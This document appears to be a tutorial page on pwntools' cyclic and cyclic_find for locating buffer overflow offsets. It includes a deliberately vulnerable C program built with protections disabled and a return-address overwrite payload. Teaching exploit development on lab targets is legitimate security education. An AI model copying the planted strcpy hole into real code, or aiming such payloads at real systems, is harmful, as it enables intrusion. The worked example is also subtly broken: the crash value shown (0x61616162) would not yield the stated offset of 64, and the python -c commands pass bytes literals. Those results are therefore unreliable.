# Cyclic

#### 👀 What ? <a href="#what" id="what"></a>

> Pwn cyclic is a technique used in cybersecurity for exploiting buffer overflow vulnerabilities. Buffer overflow is a common security issue where a program writes more data to a buffer than it can handle, which can overwrite adjacent memory areas. Pwn cyclic is a tool that can generate, search and slice cyclic patterns, which are patterns of distinct values that can be used to identify the exact location of buffer overflow.

#### 🧐 Why ? <a href="#why" id="why"></a>

> Understanding Pwn cyclic is crucial for both cybersecurity professionals and software developers. For cybersecurity professionals, it's a powerful tool for identifying and exploiting vulnerabilities in software systems. For developers, understanding this technique can help them write more secure code by identifying potential buffer overflow vulnerabilities and ensuring their programs handle input data correctly. This knowledge is essential for anyone interested in maintaining secure systems.

#### ⛏️ How ? <a href="#how" id="how"></a>

> To use Pwn cyclic, you first need to generate a cyclic pattern with a specified length. You can do this with the 'cyclic' function in the Pwn library. After an overflow occurs, you can use the 'cyclic\_find' function to identify the exact location of the overflow. This allows you to pinpoint the exact place in the code where the overflow happened, making it easier to develop an exploit or fix the vulnerability.

#### ⏳ When ? <a href="#when" id="when"></a>

> Pwn cyclic has been around for several years, and it has become an important tool in the toolkit of many cybersecurity professionals. Its use is particularly common in the field of penetration testing, where it is used to identify and exploit vulnerabilities in software systems.

Pwn cyclic is a tool used in exploit development to identify the exact location of a buffer overflow. It generates a sequence of unique patterns, which can be inputted into a program. If the program crashes due to a buffer overflow, the crash dump will contain part of this unique pattern.&#x20;

By analyzing the crash dump, you can pinpoint the exact offset where the buffer overflow occurred. This method is effective because each subset of the cyclic pattern is unique, allowing precise identification of the overflow point.

## Steps to Use Pwn Cyclic <a href="#steps-to-use-pwn-cyclic" id="steps-to-use-pwn-cyclic"></a>

### Step 1: Generate a Unique Pattern <a href="#step-1-generate-a-unique-pattern" id="step-1-generate-a-unique-pattern"></a>

The first step is to generate a unique pattern using `cyclic` from the pwntools library. This pattern is designed so that every subset is unique.

```python
from pwn import *

pattern = cyclic(100)
print(pattern)
```

This generates a 100-byte long pattern.

### Step 2: Input the Pattern into the Program <a href="#step-2-input-the-pattern-into-the-program" id="step-2-input-the-pattern-into-the-program"></a>

Next, you input the generated pattern into the vulnerable program. This can be done by various means depending on the program's input method (e.g., command-line argument, environment variable, network input).

```bash
./vulnerable_program $(python -c 'from pwn import *; print(cyclic(100))')

```

### Step 3: Analyze the Crash Dump <a href="#step-3-analyze-the-crash-dump" id="step-3-analyze-the-crash-dump"></a>

When the program crashes, the crash dump (e.g., core dump) will contain part of the cyclic pattern. You need to locate the exact part of the pattern present in the crash dump.

### Step 4: Identify the Offset <a href="#step-4-identify-the-offset" id="step-4-identify-the-offset"></a>

Using the pattern found in the crash dump, you can determine the exact offset of the buffer overflow using `cyclic_find`.

```python
from pwn import *

# Example pattern from crash dump
crash_pattern = b'aaab'

offset = cyclic_find(crash_pattern)
print(f"The offset is {offset}")

```

This will output the exact offset where the buffer overflow occurred.

## Full Example <a href="#full-example" id="full-example"></a>

Consider a vulnerable program that reads input into a fixed-size buffer without checking the length. Here is a simplified example:

```c
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // Vulnerable to buffer overflow
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}
```

### Step-by-Step Process <a href="#step-by-step-process" id="step-by-step-process"></a>

1.  **Compile the Program**:

    ```bash
    gcc -o vulnerable_program vulnerable_program.c -fno-stack-protector -z execstack

    ```
2.  **Generate a Unique Pattern**:

    ```python
    from pwn import *

    pattern = cyclic(100)
    print(pattern)

    ```
3.  **Run the Program with the Pattern**:

    ```bash
    ./vulnerable_program $(python -c 'from pwn import *; print(cyclic(100))')

    ```
4. **Analyze the Crash Dump**:
   *   The program will crash, and you need to find the pattern in the crash dump. Assuming the crash dumps the EIP register:

       ```
       Segmentation fault at EIP: 0x61616162

       ```
5.  **Identify the Offset**:

    ```python
    from pwn import *

    crash_pattern = 0x61616162  # The value from the crash dump
    offset = cyclic_find(crash_pattern)
    print(f"The offset is {offset}")

    ```

    *   This will output:

        ```
        The offset is 64

        ```
6.  **Develop the Exploit**:

    * With the offset known, you can craft a payload to exploit the buffer overflow, for example, by overwriting the return address.

    ```python
    from pwn import *

    offset = 64
    new_return_address = p32(0xdeadbeef)  # Example address

    payload = cyclic(offset) + new_return_address
    print(payload)

    ```



* Run the program with the crafted payload:

{% code overflow="wrap" %}
```bash
./vulnerable_program $(python -c 'from pwn import *; print(cyclic(64) + p32(0xdeadbeef))')
```
{% endcode %}
